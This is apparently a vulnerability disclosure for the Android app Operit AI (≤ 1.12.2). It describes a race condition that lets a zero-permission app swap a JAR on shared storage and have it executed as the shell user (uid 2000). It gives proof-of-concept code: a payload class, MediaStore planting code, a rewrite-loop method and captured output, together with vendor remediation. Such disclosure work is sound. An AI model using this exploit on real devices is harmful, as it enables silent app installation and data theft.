2026-10-24
cve吗?
00

目录

Title: Local Privilege Escalation to shell (uid 2000) via Shared-Storage JAR Hijacking TOCTOU in Operit AI ≤ 1.12.2
Description:
Proof of Concept:
Suggested remediation (for the vendor)

Local Privilege Escalation to shell (uid 2000) via Shared-Storage JAR Hijacking TOCTOU in Operit AI ≤ 1.12.2

Title: Local Privilege Escalation to shell (uid 2000) via Shared-Storage JAR Hijacking TOCTOU in Operit AI ≤ 1.12.2

BUG_Author: `Geronimo (VulDB UID 102234)

Affected Version: Operit AI (Android) ≤ 1.12.2 (versionCode 51)

Vendor: AAswordman/Operit GitHub Repository

Software: Operit AI

CWE: CWE-59 (Improper Link Resolution Before File Access / shared-storage executable staging), CWE-367 (Time-of-check Time-of-use Race Condition)

Vulnerability Files:

  • showerclient/src/main/java/com/ai/assistance/showerclient/ShowerServerManager.kt (staging + execution logic, lines 32–156)
  • app/src/main/java/com/ai/assistance/operit/core/tools/system/shell/RootShellExecutor.kt (shell-identity execution path, lines 365–425)
  • app/src/main/assets/operit_shell_exec (helper binary: setgid(2000)/setuid(2000) + SELinux setcon u:r:shell:s0, then exec)

Description:

  1. Operit stages an executable JAR on world-writable shared storage without any integrity check:

    • In the file ShowerServerManager.kt, the function copyJarToExternalDir() copies the bundled shower-server.jar from the app's private assets to /sdcard/Download/Operit/shower-server.jar — a path in shared storage that other apps can create and control.
    • Immediately afterwards, the app runs the following sequence with shell identity (uid 2000) via its privileged shell executor:
    cp /sdcard/Download/Operit/shower-server.jar /data/local/tmp/shower-server.jar CLASSPATH=/data/local/tmp/shower-server.jar app_process / com.ai.assistance.shower.Main <app_package> &
    • The source strings are confirmed present in the official release binary app-release.apk (v1.12.2), inside classes13.dex.
  2. How the attack works (TOCTOU payload swap):

    • A local attacker application pre-creates /sdcard/Download/Operit/shower-server.jar:
      • On Android 11+ this requires no permission at all (a MediaStore.Downloads insert with RELATIVE_PATH = "Download/Operit").
      • On Android ≤ 10, WRITE_EXTERNAL_STORAGE (a normal runtime permission) is sufficient.
    • When Operit starts its "Shower" virtual-display service — triggered whenever the AI agent performs UI automation (PhoneAgent.ensureRequiredVirtualScreen() / prewarmMainScreenShower()) — Operit overwrites the file with its own legitimate JAR and then copies it to /data/local/tmp/ and executes it as uid 2000.
    • Between Operit's write and the shell-identity cp, the attacker rewrites the file content with a malicious dex JAR. The race window was measured at 180–600 ms (it includes two intermediate privileged command round-trips: pkill and rm -f).
    • On Android 11+, MediaStore row ownership does not transfer when an All-Files-Access app overwrites another app's contributed file, so the attacker permanently retains rewrite access to the file and wins the race on every attempt.
  3. Example malicious payload:

    • The execution entry point is fixed (com.ai.assistance.shower.Main), so the attacker simply ships a dex JAR that provides this class:
    java
    package com.ai.assistance.shower; public class Main { public static void main(String[] args) throws Exception { java.io.FileWriter w = new java.io.FileWriter("/sdcard/Download/Operit/PWNED_PROOF.txt"); w.write("uid=" + android.os.Process.myUid() + "\n"); w.write("id=" + exec("id") + "\n"); // uid=2000(shell) ... context=u:r:shell:s0 w.write("pm=" + exec("pm list packages -3") + "\n"); w.close(); System.exit(0); } }
  4. Impact:

    • Arbitrary code execution with uid 2000 (shell) and SELinux context u:r:shell:s0 — equivalent to a connected ADB host.
    • This yields: silent APK installation (pm install), reading of all shared storage, dumpsys/uiautomator screen and UI-tree harvesting, access to shell-trusted system services, and pivot points for further escalation on many OEM builds.
    • No user interaction beyond normal use of Operit's own automation features is required; the attacker app needs zero permissions on current Android versions.
  5. Verifying the exploit:

    • If the swap wins the race, /data/local/tmp/shower-server.jar matches the attacker JAR (md5 differs from the legitimate one) and the payload runs as uid 2000:
    === PWNED: attacker jar executed via app_process === uid=2000 id=uid=2000(shell) gid=2000(shell) ... context=u:r:shell:s0 wrote_data_local_tmp_marker=true
    • Dynamic verification (emulators, Android 9 and Android 16): 70/70 attacker wins in timed race batches (60/60 on API 28 with a shell-identity replica of the exact command sequence; 10/10 on API 36 with a real zero-permission attacker app and a real All-Files-Access "victim writer" app). A control run without the attacker always executed the legitimate JAR. Release-binary string verification: see Vulnerability Files above.

    Full kill chain captured in a single frame (left: attacker planting + live swap; right: victim sequence, evil-JAR md5, uid=2000 execution and payload output):

06_pwned_proof.png

Proof of Concept:

  1. Build the attacker dex JAR providing com.ai.assistance.shower.Main (payload above), then stage it:

    adb push attacker.jar /data/local/tmp/shower_exp/attacker.jar
  2. Plant the file with a zero-permission attacker app (Android 11+):

    java
    ContentValues v = new ContentValues(); v.put(MediaStore.MediaColumns.DISPLAY_NAME, "shower-server.jar"); v.put(MediaStore.MediaColumns.RELATIVE_PATH, Environment.DIRECTORY_DOWNLOADS + "/Operit/"); v.put(MediaStore.MediaColumns.IS_PENDING, 1); Uri uri = getContentResolver().insert(MediaStore.Downloads.EXTERNAL_CONTENT_URI, v); OutputStream os = getContentResolver().openOutputStream(uri, "wt"); os.write(evilJarBytes); os.close(); v.clear(); v.put(MediaStore.MediaColumns.IS_PENDING, 0); getContentResolver().update(uri, v, null, null);

    Then keep a 20 ms rewrite loop running (re-open the same row with "wt" and rewrite evilJarBytes whenever the size differs — or unconditionally; ownership stays with the attacker).

    Attacker side, captured live (planting, resulting md5 7f3183d6… / 2341 bytes, 50 ms watch-swap loop running):

03_attacker_watching_crop.png 3. Victim side: Operit writes its own asset JAR over the shared path and then executes the shell-identity sequence:

FileOutputStream out = new FileOutputStream("/sdcard/Download/Operit/shower-server.jar"); // its own asset jar ... shell: pkill -f com.ai.assistance.shower.Main || true shell: rm -f /data/local/tmp/shower-server.jar /data/local/tmp/shower.log || true shell: cp /sdcard/Download/Operit/shower-server.jar /data/local/tmp/shower-server.jar shell: CLASSPATH=/data/local/tmp/shower-server.jar app_process / com.ai.assistance.shower.Main com.ai.assistance.operit &
  1. The attacker's rewrite lands in the 180–600 ms window; the shell-uid cp copies the malicious JAR and app_process executes it as uid 2000.

    Left window: the attacker detects Operit's write (SWAPPED!) and restores the payload. Right window: the victim sequence — after cp, the md5 of what got copied is the attacker JAR (7f3183d6…), not the legitimate one (910b3797…):

04_swap_and_md5.png Payload execution as uid 2000 ([attacker] payload done, uid=2000):

05_payload_executed.png 5. Verify the exploit by reading the payload's output file:

$ adb shell cat /sdcard/Download/Operit/PWNED_PROOF.txt === PWNED: attacker jar executed via app_process === uid=2000 id=uid=2000(shell) gid=2000(shell) groups=... context=u:r:shell:s0 wrote_data_local_tmp_marker=true pm_first_lines=package:com.example.app | ...

If the attack did not run, the same sequence executes the legitimate server (control case, md5 910b3797950a850038ebcd1b7a5bef2b) and no proof file appears:

07_control_crop.png

  1. Full working PoC sources (attacker payload, MediaStore planter app, race loop, timed experiment harness) are available in the submission attachment: shower_exp/ — key files: attacker/src/com/ai/assistance/shower/Main.java, apps/AttackerApp.java, apps/VictimWriterApp.java, racer.sh, run_experiment.sh, evidence/ (timing CSVs, logcat, PWNED proof files, official release dex files).

Suggested remediation (for the vendor)

  • Stage the JAR in the app's private storage (context.getFilesDir()) instead of shared storage — /data/local/tmp can be populated directly from there via the shell launcher, removing the shared-storage hop entirely; or
  • Verify the JAR's hash/signature immediately before the privileged cp + app_process execution, and treat shared storage as untrusted input.